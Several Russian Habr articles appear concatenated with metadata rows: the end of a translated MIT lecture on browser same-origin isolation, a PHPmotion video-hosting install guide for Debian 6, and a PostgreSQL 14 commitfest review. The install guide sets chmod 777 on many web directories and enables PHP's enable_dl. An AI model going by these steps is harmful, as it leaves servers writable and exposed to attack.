Если мы посмотрим на фрейм Facebook и его отношение к большему фрейму foo.com, то мы увидим, что они из разных источников, потому что у них здесь разные схемы. У них разные имена хостов и различные порты. Это означает, что в первом приближении они изолированы друг от друга. Но они смогут взаимодействовать друг с другом, если будут использовать интерфейс под названием Post Message. Он позволяет двум различным фреймам обмениваться асинхронными неизменяемыми сообщениями друг с другом.
Так что подумайте об этом Post Message как о методе, который позволяет Facebook отправить строку, а не ссылку, вверх, во фрейм foo.com. Обратите внимание, что если foo.com не хочет получать эти сообщения, то Facebook не сможет ему ничего послать, так как для того, чтобы эта штука работала, нужно согласие обеих сторон.
Обратите внимание, что код JavaScript здесь, во фрейме Facebook, не может выдавать запрос XML HTTP серверу foo.com, потому что сетевые назначения также имеют эти источники происхождения, которые с ними связаны. Из-за того, что Facebook.com не имеет такого же origin, как foo.com, он не может асинхронно получить из него материал с помощью HTML-запроса.
Последнее, на что мы можем посмотреть, это изображение рекламы наверху, вот это ads.com. Это то, что подчиняется четвёртой идее, просто образ, который не имеет исполняемого кода. Так что ясно, что браузер не даст ему никаких полномочий.
Вам может показаться, что мы обсуждаем глупости – ну как это изображения могут иметь или не иметь полномочий, ведь они ничего не способны сделать!
Дело в том, что здесь действуют соображения безопасности. Это и есть та тонкость, которая скрывается в 4-й идее.
28:00 мин
Продолжение:
[Курс MIT «Безопасность компьютерных систем». Лекция 8: «Модель сетевой безопасности», часть 2](https://habr.com/company/ua-hosting/blog/423155/)
Полная версия курса доступна [здесь](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/).
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, **30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно** при оплате на срок от полугода, заказать можно [тут](https://ua-hosting.company/vpsnl).
**Dell R730xd в 2 раза дешевле?** Только у нас **[2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249](https://ua-hosting.company/serversnl) в Нидерландах и США!** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/418229/ | null | ru | null |
# PHPmotion на Debian 6 Squeeze
Появилась потребность разместить свои ролики, которые были бы доступны как бля меня, так для родственников из других городов, для этих целей, решил попробовать использование известного движка для организации **видео-хостинга – PHPmotion**, в этой заметке приведу процесс установки на OS Debian 6 Squeeze, установка происходила внутри контейнера **OpenVZ**.
Все команды выполняются от суперпользователя, прошу не пинать, кому угодно, используйте sudo.
Готовим систему.
`# apt-get install mysql-server mysql-client
# apt-get install apache2 php5 php5-gd php5-ffmpeg php5-mysql php5-cli php5-curl libapache2-mod-auth-mysql`
Нам понадобиться кодек Lame, для его установки нужно подключить дополнительный источник.
`# echo "deb ftp.deb-multimedia.org squeeze main non-free" >> /etc/apt/sources.list
# apt-get update
# apt-get install debian-multimedia-keyring
# apt-get install lame`
Возвращаемся к установке стандартных пакетов:
`# apt-get install mplayer
# apt-get install mencoder
# apt-get install ffmpeg
# apt-get install flvtool2`
Копируем модуль phpshield.
`cp /var/www/site/phpshield/ixed.5.3.lin /usr/lib/php5/20090626`
20090626 папка в моем случае, у вас может отличаться.
Теперь нам нужно подключить данный модуль, проверяем путь конфигурационному файлу:
`php -i | grep php.ini
Loaded Configuration File => /etc/php5/cli/php.ini`
Вносим изменения:
`echo "extension=ixed.5.3.lin" >> /etc/php5/cli/php.ini`
Делаем перезагрузку apache
`/etc/init.d/apache2 restart`
Скачиваем установочный пакет PHPmotion V3.5:
`wget www.phpmotion.com/downloads/V3.5/php5.3.x/phpmotion.zip`
Далее распаковываем, не забываем подключить модуль Apache, modrewrire:
`a2enmod rewrite
/etc/init.d/apache2 restart`
В php.ini изменяем:
`enable_dl Off
на
enable_dl On`
Выставляем chmod 777 на следующие директории:
`/addons
/addons/albums
/addons/albums/thumbs
/addons/albums/images
/addons/customprofile
/addons/customprofile/member_css
/addons/customprofile/member_images
/classes
/uploads
/uploads/avi
/uploads/audio
/uploads/audio
/uploads/player_thumbs
/uploads/thumbs
/logs
/setup
/pictures
/temp`
На содержимое папки /cgi-bin/ выставляем 755.
Создаем БД mysql, следуем инструкциям и на последнем этапа удаляем папку setup, настройка закончена.
Заходим на главную страницу, выбираем раздел регистрация, если каптча у вас не работает, то нужно в папке /includes/, файл captcha.php заменить:
`var $font = ‘DoradoHeadline.ttf’;
на:
var $font = ‘./DoradoHeadline.ttf’;`
При загрузке файлов на сервер, используются perl скрипты, которые находятся в папке /cgi-bin/, необходимо в настройках виртуального хоста поменять на правильный путь к папке /cgi-bin/.
Из первых впечатлений:
— Плохое качество получаемых видео (думаю нужно копаться в настройках)
— Нет русского интерфейса (но кажется есть неофициальные адаптации)
Если после загрузки файла, вы не видите результата, обратите внимание на логи, находящиеся в папке /logs/, к примеру в моем случае первоначально был установлен mplayer, а уже потом lame в лог писалась ошибка о том что mplayer собран без lame, решить проблему помогла повторная установка mplayer. | https://habr.com/ru/post/144900/ | null | ru | null |
# PostgreSQL 14: Часть 2 или «в тени тринадцатой» (Коммитфест 2020-09)
Главным событием сентября в мире PostgreSQL безусловно является выход 13 версии. Однако жизненный цикл PostgreSQL 14 идет своим чередом и в сентябре прошел [второй коммитфест](https://commitfest.postgresql.org/29/) изменений. О том, что интересного было в первом рассказывалось в [предыдущей статье](https://habr.com/ru/company/postgrespro/blog/510124/). А прочитав эту можно узнать почему 5! больше не выдаст 120, разобраться что общего у хирурга и DBA, выяснить сколько же записей в пустой таблице и многое другое.
Клиентские приложения
---------------------
[**psql: \d показывает метод доступа в расширенном списке объектов**](https://commitfest.postgresql.org/29/2586/)
commit: [07f386e](https://github.com/postgres/postgres/commit/07f386e)
Вывод команды \d[tmi]+ пополнился новым столбцом Access Method. Но новых методов доступа для таблиц пока не реализовано. Поэтому для таблиц и материализованных представлений значение столбца всегда будет heap. Однако мы ждем появления и других значений, в частности очень интересна недавняя [инициатива](https://www.cybertec-postgresql.com/en/zheap-reinvented-postgresql-storage/) компании Cybertec по продвижению zheap.
А пока команда \di+ может показывать полезную информацию об индексных методах доступа (при наличии индексов отличных от btree).
[**psql: \d показывает измененное целевое значение расширенной статистики**](https://commitfest.postgresql.org/29/2712/)
commit: [3c99230](https://github.com/postgres/postgres/commit/3c99230)
Возможность [изменить целевое значение расширенной статистики](https://habr.com/ru/company/postgrespro/blog/493106/#commit_d06215d) добавили в 13 версию еще в сентябре прошлого года. А сейчас, за пару недель до выхода релиза, научили команду \d показывать измененное значение.
**Автодополнение по табуляции в psql улучшено для команд:** [COPY и \copy](https://github.com/postgres/postgres/commit/c273d9d); [IMPORT FOREIGN SCHEMA](https://github.com/postgres/postgres/commit/7307df1); [VACUUM](https://github.com/postgres/postgres/commit/f1af75c); [REINDEX](https://github.com/postgres/postgres/commit/1f75b454); [DEALLOCATE](https://github.com/postgres/postgres/commit/0baf82fa).
[**pg\_dump: оптимизация работы в режиме --data-only**](https://commitfest.postgresql.org/29/2643/)
commit: [5423853](https://github.com/postgres/postgres/commit/5423853)
При выгрузке только данных, без описания схемы, pg\_dump не будет извлекать из системного каталога информацию о значениях по умолчанию для столбцов и ограничениях CHECK.
[**Проверка значений параметров pg\_test\_fsync --secs-per-test и pg\_test\_timing --duration**](https://commitfest.postgresql.org/29/2674/)
commit: [4d29e6d](https://github.com/postgres/postgres/commit/4d29e6d)
Утилиты сервера pg\_test\_fsync и pg\_test\_timing сложно отнести к часто используемым. Возможно поэтому никто не замечал, что их можно запустить с некорректными значениями параметров --secs-per-test и --duration соответственно. Микаэль Пакье исправил это.
Документация
------------
[**Не только сборка из исходных кодов**](https://commitfest.postgresql.org/29/2695/)
commit: [d2511d71](https://github.com/postgres/postgres/commit/d2511d71)
В главе [Server Setup and Operation](https://www.postgresql.org/docs/current/runtime.html) появились уточнения о пакетных сборках. Не особенности конкретных сборок, а то, что в пакетных сборках основные операции с сервером(инициализация, запуск, останов) могут выполняться иначе, чем при сборке из исходников.
Портировано в 13 версию.
[**Шаблон нового процедурного языка**](https://commitfest.postgresql.org/29/2678/)
commit: [adbe62d0](https://github.com/postgres/postgres/commit/adbe62d0), [51300b45](https://github.com/postgres/postgres/commit/51300b45)
В документации по 13 версии в главе [Writing a Procedural Language Handler](https://www.postgresql.org/docs/13/plhandler.html) раздела Internals описан пример кода на C для создания нового процедурного языка. Для большего удобства, шаблон для создания процедурного языка (PL/Sample) поместили в исходный код, а именно в каталог [src/test/modules/plsampe](https://github.com/postgres/postgres/tree/master/src/test/modules/plsample). Здесь есть всё для правильного оформления нового языка: управляющий и sql файлы расширения, файл на C с основной процедурой обработчика языка, инфраструктура тестирования.
Мониторинг и управление
-----------------------
[**Amcheck: соседние индексные страницы одного уровня в B-дереве корректно ссылаются друг на друга**](https://commitfest.postgresql.org/29/2667/)
commit: [39132b78](https://github.com/postgres/postgres/commit/39132b78)
Добавлена проверка, что соседние страницы одного уровня в B-дереве корректно ссылаются друг на друга. Для надежности проверки в буферном кеше блокируются сразу обе страницы. Это позволяет не пропустить проблему, когда одна из страниц изменяется во время проверки.
Проверку можно (и нужно) выполнять не только на основном сервере, но и на репликах. Это позволит избежать ситуации, когда только после переключения на реплику обнаружится, что некоторые индексы повреждены.
Упоминание об этой проблеме есть в майском выступлении Андрея Бородина «[Что и зачем мы делаем в Open Source базах данных](https://www.youtube.com/watch?v=PCG5bO9Ug60&feature=youtu.be&t=987)», правда тогда еще не было известно, что в августе его патч будет принят.
[**Включение в log\_line\_prefix значения pg\_stat\_activity.leader\_pid**](https://commitfest.postgresql.org/29/2514/)
commit: [b8fdee7d](https://github.com/postgres/postgres/commit/b8fdee7d)
В 13 версии в pg\_stat\_activity добавили столбец leader\_pid — номер ведущего процесса при выполнении параллельных запросов. А в 14 версии номер ведущего процесса можно включить в [log\_line\_prefix](https://www.postgresql.org/docs/devel/runtime-config-logging.html#GUC-LOG-LINE-PREFIX) при помощи спецсимвола %P.
[**Представление pg\_backend\_memory\_contexts**](https://commitfest.postgresql.org/29/2622/)
commit: [3e98c0ba](https://github.com/postgres/postgres/commit/3e98c0ba)
При анализе утечек памяти серверного процесса важно знать на что именно процесс расходует память. Для этого к процессу обычно подключаются отладчиком. Представление [pg\_backend\_memory\_contexts](https://www.postgresql.org/docs/devel/view-pg-backend-memory-contexts.html) поможет в тех случаях, когда отладчик недоступен.
[**EXPLAIN (BUFFERS) без ANALYZE**](https://www.postgresql.org/message-id/flat/07b226e6-fa49-687f-b110-b7c37572f69e%40dalibo.com)
commit: [9d701e62](https://github.com/postgres/postgres/commit/9d701e62)
Команду EXPLAIN можно выполнить с опцией BUFFERS и без ANALYZE. Следующий запрос показывает сколько буферов было прочитано для построения плана:
```
EXPLAIN (BUFFERS) SELECT * FROM bookings;
```
```
QUERY PLAN
-----------------------------------------------------------------
Seq Scan on bookings (cost=0.00..4301.88 rows=262788 width=21)
Planning:
Buffers: shared hit=11 read=2
```
Такое поведение немного необычно. Ведь EXPLAIN без ANALYZE всегда выдавал только **оценку** стоимости будущего плана. А теперь появился вариант запуска, когда мы получаем **фактические** затраты (в виде количества буферов) на построение плана.
Включено в 13 версию.
Производительность
------------------
[**Повышение масштабируемости клиентских соединений: GetSnapshotData()**](https://commitfest.postgresql.org/29/2500/)
commit: [dc7420c2](https://github.com/postgres/postgres/commit/dc7420c2), [1f51c17c](https://github.com/postgres/postgres/commit/1f51c17c), [941697c3](https://github.com/postgres/postgres/commit/941697c3), [5788e258](https://github.com/postgres/postgres/commit/5788e258), [73487a60](https://github.com/postgres/postgres/commit/73487a60), [623a9ba7](https://github.com/postgres/postgres/commit/623a9ba7)
Андрес Фройнд, после [перехода в Микрософт](https://techcommunity.microsoft.com/t5/azure-database-for-postgresql/microsoft-azure-welcomes-postgresql-committers/ba-p/1207612), серьезно занялся вопросами масштабируемости клиентских соединений. В недавней [статье](https://www.citusdata.com/blog/2020/10/08/analyzing-connection-scalability/) Андрес очень подробно рассказал об исследовании причин замедления работы PostgreSQL при увеличении количества подключений и выявил, что основная проблема кроется в функции GetSnapshotData().
Функция возвращает снимок данных, на основании которого определяется какие строки должны быть видны, а какие нет. Святая святых любой СУБД! Поскольку снимок данных в PostgreSQL включает в себя список активных транзакций, то интуитивно понятно, что чем больше сеансов в системе, тем длиннее может быть этот список и это может вызывать проблемы масштабируемости.
Для решения этих проблем Андрес в начале марта предложил набор из 12 патчей (см. [первое письмо](https://www.postgresql.org/message-id/flat/20200301083601.ews6hz5dduc3w2se@alap3.anarazel.de) в переписке), в которых предлагается для оптимизации работы функции существенно переработать внутренние структуры памяти и алгоритмы.
После полугодового обсуждения, в августе пошли первые коммиты. Список наиболее важных здесь приведен. В вышеупомянутой статье Андрес сообщает, что скоро в следующей расскажет о достигнутых результатах. Но уже сейчас понятно, что это одно из самых масштабных(масло масляное?) изменений в рамках 14 версии.
[**Ускорение умножения очень больших чисел типа numeric**](https://commitfest.postgresql.org/29/2591/)
commit: [88709176](https://github.com/postgres/postgres/commit/88709176)
В эпоху больших данных и числа должны быть большими. И выполнять операции с большими числами нужно быстро. Именно такая оптимизация умножения чисел типа numeric реализована в данном изменении.
[**Инкрементальная сортировка для оконных функций**](https://commitfest.postgresql.org/29/2638/)
commit: [62e221e1c](https://github.com/postgres/postgres/commit/62e221e1c)
[Инкрементальная сортировка](https://habr.com/ru/company/postgrespro/blog/493106/#commit_d2d8a229) появилась в 13 версии. Теперь этот же механизм используется и для запросов с оконными функциями.
Немного модифицируем пример из предыдущей ссылки:
```
EXPLAIN (ANALYZE, COSTS OFF, TIMING OFF)
SELECT ticket_no, MAX(passenger_name) OVER (ORDER BY ticket_no, passenger_id)
FROM tickets;
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------
WindowAgg (actual rows=366733 loops=1)
-> Incremental Sort (actual rows=366733 loops=1)
Sort Key: ticket_no, passenger_id
Presorted Key: ticket_no
Full-sort Groups: 11461 Sort Method: quicksort Average Memory: 27kB Peak Memory: 27kB
-> Index Scan using tickets_pkey on tickets (actual rows=366733 loops=1)
Planning Time: 0.118 ms
Execution Time: 313.352 ms
```
C отключенной инкрементальной сортировкой запрос выполняется существенно дольше:
```
SET enable_incremental_sort = OFF;
EXPLAIN (ANALYZE, COSTS OFF, TIMING OFF)
SELECT ticket_no, MAX(passenger_name) OVER (ORDER BY ticket_no, passenger_id)
FROM tickets;
```
```
QUERY PLAN
--------------------------------------------------------------
WindowAgg (actual rows=366733 loops=1)
-> Sort (actual rows=366733 loops=1)
Sort Key: ticket_no, passenger_id
Sort Method: external merge Disk: 18744kB
-> Seq Scan on tickets (actual rows=366733 loops=1)
Planning Time: 0.113 ms
Execution Time: 1257.468 ms
```
[**Синхронизация статистики SLRU выполняется процессом контрольной точки**](https://commitfest.postgresql.org/29/2669/)
commit: [dee663f7](https://github.com/postgres/postgres/commit/dee663f7)
Синхронизация с диском (fsync) для статистики [SLRU](https://www.postgresql.org/docs/devel/monitoring-stats.html#MONITORING-PG-STAT-SLRU-VIEW) откладывается до следующей контрольной точки. Это разгружает систему ввода/вывода, особенно если включен track\_commit\_timestamps. Выигрыш особенно будет заметен при восстановлении.
[**Ускорение функции compactify\_tuples**](https://commitfest.postgresql.org/29/2687/)
commit: [19c60ad6](https://github.com/postgres/postgres/commit/19c60ad6)
Оптимизирована внутренняя функция compactify\_tuples, которая активно используется в процессах очистки и восстановления. Ничего настраивать не нужно. Просто работает быстрее. И чем больше записей на странице ‒‒ тем быстрее.
[**Уточнение оценки количества строк для пустых таблиц**](https://commitfest.postgresql.org/29/2691/)
commit: [3d351d91](https://github.com/postgres/postgres/commit/3d351d91)
Сразу после создания таблицы планировщик считает, что в ней уже есть записи:
```
CREATE TABLE t (id int, code text);
EXPLAIN SELECT * FROM t;
```
```
QUERY PLAN
------------------------------------------------------
Seq Scan on t (cost=0.00..22.70 rows=1270 width=36)
```
Очистка и сбор статистики еще не выполнялись, поэтому планировщик строит свою оценку из предположения, что таблица занимает 10 страниц, а исходя из количества и типов данных столбцов предполагает сколько строк на них может разместиться.
Это разумные предположения для таблицы, по которой еще ни разу не собиралась статистика, и к ним претензий нет. Но что будет если в таблице действительно нет записей и мы хотим, чтобы планировщик правильно это понимал? Предположим после заполнения таблицы, мы её полностью очистили, затем собрали статистику и заодно выполнили очистку:
```
INSERT INTO t SELECT g.x, random()::text FROM generate_series(1,100000) AS g(x);
TRUNCATE t;
VACUUM ANALYZE t;
```
```
EXPLAIN SELECT * FROM t;
```
```
QUERY PLAN
------------------------------------------------------
Seq Scan on t (cost=0.00..22.70 rows=1270 width=36)
```
Однако планировщик не отличает эту ситуацию от предыдущей, когда таблица была только что создана. Как известно, для оценки количества строк используется значение pg\_class.reltuples, а там 0 в обоих случаях.
Сейчас поведение изменилось. После создания таблицы и до первого выполнения VACUUM или ANALYZE значение pg\_class.reltuples = -1 и планировщик по-прежнему ориентируется на заполненные 10 страниц в таблице:
```
CREATE TABLE t (id int, code text);
SELECT reltuples FROM pg_class WHERE oid = 't'::regclass;
```
```
reltuples
-----------
-1
```
```
EXPLAIN SELECT * FROM t;
```
```
QUERY PLAN
------------------------------------------------------
Seq Scan on t (cost=0.00..22.70 rows=1270 width=36)
```
Однако как только по таблице будет собрана статистика или выполнена очистка, значение reltuples устанавливается в реальное ‒‒ для пустой таблицы в 0 и планировщик сможет правильно оценить кардинальность:
```
ANALYZE t;
EXPLAIN SELECT * FROM t;
```
```
QUERY PLAN
--------------------------------------------------
Seq Scan on t (cost=0.00..0.00 rows=1 width=36)
```
Заметим, что планировщик вместо 0 пишет 1, но это уже другая история.
Подводя итог. Вынесенный в начало статьи вопрос о количестве строк в пустой таблице имеет вполне определенный ответ. PostgreSQL 14 оценивает это количество либо как 0, либо -1, в зависимости от факта сбора статистики.
Репликация
----------
[**Потоковая логическая репликация**](https://commitfest.postgresql.org/29/1927/)
commit: [46482432](https://github.com/postgres/postgres/commit/46482432), [45fdc973](https://github.com/postgres/postgres/commit/45fdc973), [808e13b2](https://github.com/postgres/postgres/commit/808e13b2), [7259736a](https://github.com/postgres/postgres/commit/7259736a)
Встроенная логическая репликация с момента появления в 10 версии развивается не так быстро, как хотелось бы. Слабых мест еще достаточно. Поэтому очень приятно, что одному из таких мест было уделено внимание.
Как известно, данные подписчику передаются только после фиксации транзакций на сервере публикации. А пока транзакции в работе, изменения накапливаются и раскладываются по транзакциям в переупорядочивающем буфере процесса wal sender. Если в одной транзакции изменяется очень много данных, то это может вызвать проблемы.
Во-первых, расходы на временное хранение данных в процессе wal sender. Конечно, данные не будут накапливаться в оперативной памяти. Параметром logical\_decoding\_work\_mem, появившимся еще в 13 версии (commit: [cec2edfa](https://github.com/postgres/postgres/commit/cec2edfa)), можно регулировать объем оперативной памяти переупорядочивающего буфера. При превышении этого размера данные транзакций будут сбрасываться на диск.
Во-вторых, большие объемы передачи данных могут привести к отставанию репликации. И вот для решения этой проблемы публикацию теперь можно объявлять с параметром streaming:
```
CREATE|ALTER PUBLICATION … WITH (STREAMING = ON);
```
Такая публикация будет передавать данные подписчику не дожидаясь окончания транзакций, а ориентируясь на тот же параметр logical\_decoding\_work\_mem. Подписчик, в свою очередь, сможет применять изменения порциями и показывать их пользователям только после получения информации о фиксации транзакции.
Для реализации потребовалось очень серьезно переработать механизмы логической репликации: обработку транзакций на стороне публикации (wal sender), протокол передачи через WAL, применение данных на стороне подписчика (logical\_replication\_worker). Работа велась долго (первое письмо датируется 2017 годом) и изменения применялись в несколько этапов (см. список только основных коммитов).
[**pg\_waldump выводит содержимое сообщений в записях WAL для логической репликации**](https://commitfest.postgresql.org/29/2690/)
commit: [9f1cf97b](https://github.com/postgres/postgres/commit/9f1cf97b)
Это удобно для диагностики логической репликации. Запомним позицию в журнале WAL, отправим сообщение логической репликации и найдем сообщение утилитой pg\_waldump:
```
SELECT pg_current_wal_insert_lsn();
```
```
pg_current_wal_insert_lsn
---------------------------
0/8A8DAAC8
```
```
SELECT pg_logical_emit_message(false, 'my_prefix', '12345'::text);
```
```
pg_logical_emit_message
-------------------------
0/8A8DAB10
```
```
\! pg_waldump --start 0/8A8DAAC8 -p data
```
```
rmgr: LogicalMessage len (rec/tot): 65/ 65, tx: 0, lsn: 0/8A8DAAC8, prev 0/8A8DAA90, desc: MESSAGE non-transactional, prefix "my_prefix"; payload (5 bytes): 31 32 33 34 35
… остальная часть вывода опущена...
```
Сервер
------
[**Построение индексов GiST с сортировкой**](https://commitfest.postgresql.org/29/2276/)
commit: [16fa9b2b](https://github.com/postgres/postgres/commit/16fa9b2b)
Казалось бы GiST это не про сортировку, про сортировку btree. Однако во многих случаях можно использовать [кривую Мортона](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%9C%D0%BE%D1%80%D1%82%D0%BE%D0%BD%D0%B0) для сортировки многомерных данных. И тогда становится возможным быстро строить индекс GiST также как и btree в виде дерева.
Андрей Бородин, вдохновленный прототипом Никиты Глухова, предложил и довел до коммита новый вариант построения индексов GiST, основанный на Z-упорядочивании.
Измерять скорость работы на ноутбуке весьма сомнительный способ показать увеличение производительности. Но всё-таки попробуем воспроизвести пример Андрея и создать индекс GiST вот для такой таблички:
```
CREATE TABLE x AS SELECT point (random(),random()) FROM generate_series(1,10000000,1);
```
Включим \timing и заодно посмотрим на размер индекса.
Версия 13:
```
CREATE INDEX ON x USING gist (point);
```
```
Time: 93597,070 ms (01:33,597)
```
```
SELECT pg_size_pretty(pg_indexes_size('x'));
```
```
pg_size_pretty
----------------
709 MB
```
Версия 14:
```
CREATE INDEX ON x USING gist (point);
```
```
Time: 9232,814 ms (00:09,233)
```
```
SELECT pg_size_pretty(pg_indexes_size('x'));
```
```
pg_size_pretty
----------------
474 MB
```
Дополнительные комментарии излишни, но с ними можно познакомиться в [переписке](https://www.postgresql.org/message-id/flat/1A36620E-CAD8-4267-9067-FB31385E7C0D@yandex-team.ru).
[**Оптимизация добавления записей в pg\_depend**](https://commitfest.postgresql.org/29/2673/)
commit: [63110c62](https://github.com/postgres/postgres/commit/63110c62), [8febfd18](https://github.com/postgres/postgres/commit/8febfd18)
Продолжение [работы](https://habr.com/ru/company/postgrespro/blog/510124/#commit_e3931d0), начатой в июльском коммитфесте. Теперь набор записей о зависимостях добавляется в pg\_depend за раз, а не каждая запись по отдельности.
[**Изменены системные лимиты, связанные с предотвращением зацикливания счетчика транзакций**](https://www.postgresql.org/message-id/flat/20200621083513.GA3074645%40rfd.leadboat.com)
commit: [cd5e8225](https://github.com/postgres/postgres/commit/cd5e8225)
Система начнет выдавать предупреждения, когда самое старое значение XID в базе данных окажется в 40 миллионах транзакций от точки зацикливания (раньше было в 11 миллионах транзакций).
Если эти предупреждения игнорировать, система отключится и не будет начинать никаких транзакций, как только до точки зацикливания останется менее 3 миллионов транзакций (раньше был 1 миллион транзакций).
При старом лимите были зафиксированы баги, которые сложно предотвратить. Поэтому лимиты увеличили.
Команды SQL
-----------
[**Использование ключевых слов в качестве псевдонимов без явного указания AS**](https://commitfest.postgresql.org/29/2641/)
commit: [1ed6b89](https://github.com/postgres/postgres/commit/1ed6b89), [06a7c31](https://github.com/postgres/postgres/commit/06a7c31)
Всё началось с предложения Питера Эйзентраута удалить поддержку постфиксных операторов. Тем более, что для единственного поддерживаемого оператора вычисления факториала есть замена в виде функции:
```
SELECT 5!, factorial(5);
```
```
?column? | factorial
----------+-----------
120 | 120
```
Постфиксные операторы сильно усложняют грамматический разбор и накладывают некоторые ограничения на синтаксис команд. Например для псевдонима выражения в команде SELECT нельзя выбрать большинство ключевых слов без указания AS:
```
SELECT 1 column;
```
```
ERROR: syntax error at or near "column"
LINE 1: SELECT 1 column;
```
```
SELECT 1 AS column;
```
```
column
--------
1
```
Так работает в 13 версии.
Первый коммит [1ed6b89](https://github.com/postgres/postgres/commit/1ed6b89) удаляет поддержку постфиксных операторов. А второй коммит [06a7c31](https://github.com/postgres/postgres/commit/06a7c31) расширяет грамматические возможности. В PostgreSQL 14 больше нельзя вычислить факториал выражением `5!`, но подавляющее большинство ключевых слов (411 из 450) можно объявлять псевдонимами без AS:
```
select 1 column;
```
```
column
--------
1
```
Список ключевых слов можно получить функцией pg\_get\_keywords.
[**Использование CURRENT\_ROLE там, где поддерживается CURRENT\_USER**](https://commitfest.postgresql.org/29/2704/)
commit: [45b9805](https://github.com/postgres/postgres/commit/45b9805)
Проверяя соответствие стандарту SQL, Питер Эйзентраут обнаружил, что в PostgreSQL поддерживается только CURRENT\_USER, но не CURRENT\_ROLE в таком варианте команды GRANT:
```
GRANT ROLE role_name TO role_specification GRANTED BY CURRENT_USER;
```
Упущение исправлено, теперь CURRENT\_ROLE можно использовать везде, где раньше было только CURRENT\_USER. Например в командах на изменение владельца объекта:
```
ALTER objtype objname OWNER TO CURRENT_USER | CURRENT_ROLE;
```
Системное администрирование
---------------------------
[**pg\_hba.conf и pg\_ident.conf поддерживают перенос строк**](https://commitfest.postgresql.org/29/2519/)
commit: [8f8154a](https://github.com/postgres/postgres/commit/8f8154a)
Длинную строку в конфигурационных файлах pg\_hba.conf и pg\_ident.conf можно разбить на несколько, если в конце строки поставить обратную косую черту \.
[**Модуль pg\_surgery ― инструмент для хирургического вмешательства**](https://commitfest.postgresql.org/29/2700/)
commit: [34a947ca](https://github.com/postgres/postgres/commit/34a947ca)
Пополнение в модулях contrib. Новый модуль ориентирован на устранение проблем в данных, связанных с видимостью строк в таблице. В дальнейшем там могут появится инструменты для устранения других проблем с данными, отсюда и такое название широкого применения ― pg\_surgery.
Какие проблемы с видимостью строк могут быть? Если по каким-то причинам будет нарушена служебная информация о видимости строк, то возможны две неприятные ситуации:
* не видны строки, которые должны быть видны
* видны строки, которые не должны быть видны
Посмотрим как можно решать(?) эти две проблемы на примере таблицы с первичным ключом и одной записью.
```
CREATE EXTENSION pg_surgery;
CREATE TABLE t (id int PRIMARY KEY, code text) WITH (autovacuum_enabled=off);
INSERT INTO t VALUES (1, 'Один');
SELECT ctid, * FROM t;
```
```
ctid | id | code
-------+----+------
(0,1) | 1 | Один
```
Изменим строку. Это приведет к появлению новой версии строки:
```
UPDATE t SET code = 'Единица' WHERE id = 1;
SELECT ctid, * FROM t;
```
```
ctid | id | code
-------+----+---------
(0,2) | 1 | Единица
```
Но предыдущая версия никуда не делась (автоочистка на таблице специально отключена), поэтому попробуем её оживить, причем сразу в «замороженном» виде:
```
SELECT heap_force_freeze('t'::regclass, ARRAY['(0,1)']::tid[]);
SELECT ctid, * FROM t;
```
```
ctid | id | code
-------+----+---------
(0,1) | 1 | Один
(0,2) | 1 | Единица
(2 rows)
```
Обратите внимание с какой легкостью нарушается ограничение уникальности. Точно также можно разрушить внешние ключи, а если «поиграться» с таблицами системного каталога, то и всю базу данных.
Вторая функция расширения принудительно помечает «мертвыми» все строки из переданного массива. Избавимся от ненужной записи:
```
SELECT heap_force_kill('t'::regclass, ARRAY['(0,1)']::tid[]);
SELECT ctid, * FROM t;
```
```
ctid | id | code
-------+----+---------
(0,2) | 1 | Единица
(1 row)
```
Вывод здесь простой ― pg\_surgery не выполняет никаких проверок, а просто принудительно включает/отключает видимость строк. Вся ответственность за согласованность данных лежит на пользователе. Модуль стоит использовать только как шанс последней надежды на восстановление таблицы, возможно частичное. Любое неосторожное движение может привести к более худшим последствиям.
Разное
------
[**Уточнение сообщения об ошибке при выборе границы диапазона для секции в секционированной таблице**](https://commitfest.postgresql.org/29/2533/)
commit: [6b2c4e5](https://github.com/postgres/postgres/commit/6b2c4e5)
Вот как выглядит сообщение об ошибке в 13 версии:
```
CREATE TABLE p (id int) partition by range (id);
CREATE TABLE c_p1 PARTITION OF p FOR VALUES FROM (1) TO (0);
```
```
ERROR: empty range bound specified for partition "c_p1"
DETAIL: Specified lower bound (1) is greater than or equal to upper bound (0).
```
В 14 версии появляется новая строка с указателем на неверное значение нижней границы диапазона:
```
CREATE TABLE c_p1 PARTITION OF p FOR VALUES FROM (1) TO (0);
```
```
ERROR: empty range bound specified for partition "c_p1"
LINE 1: CREATE TABLE c_p1 PARTITION OF p FOR VALUES FROM (1) TO (0);
^
DETAIL: Specified lower bound (1) is greater than or equal to upper bound (0).
```
Сложно сказать насколько это полезное добавление, ведь вполне возможно, что ошибка была допущена при указании верхней границы.
[**REINDEX для секционированных таблиц**](https://commitfest.postgresql.org/28/2584/)
commit: [a6642b3a](https://github.com/postgres/postgres/commit/a6642b3a)
Команда REINDEX TABLE | INDEX может использоваться для секционированных таблиц и индексов. До этого требовалось выполнять REINDEX для каждой секции.
[**Новая функция string\_to\_table**](https://commitfest.postgresql.org/29/2538/)
commit: [66f1630](https://github.com/postgres/postgres/commit/66f1630)
Как и следует из названия, функция разбивает строку на несколько строк по заданному разделителю. Раньше это можно было сделать в два приема, сначала превратить строку в массив (string\_to\_array), а затем массив разложить на строки (unnest):
```
SELECT string_to_table('1,2,3',','), unnest(string_to_array('4,5,6',','));
```
```
string_to_table | unnest
-----------------+--------
1 | 4
2 | 5
3 | 6
```
По замерам автора патча, Павла Стехуле, string\_to\_table на 15% быстрее варианта unnest(string\_to\_array()).
[**Уточнение сообщения об ошибке vacuum**](https://commitfest.postgresql.org/29/2662/)
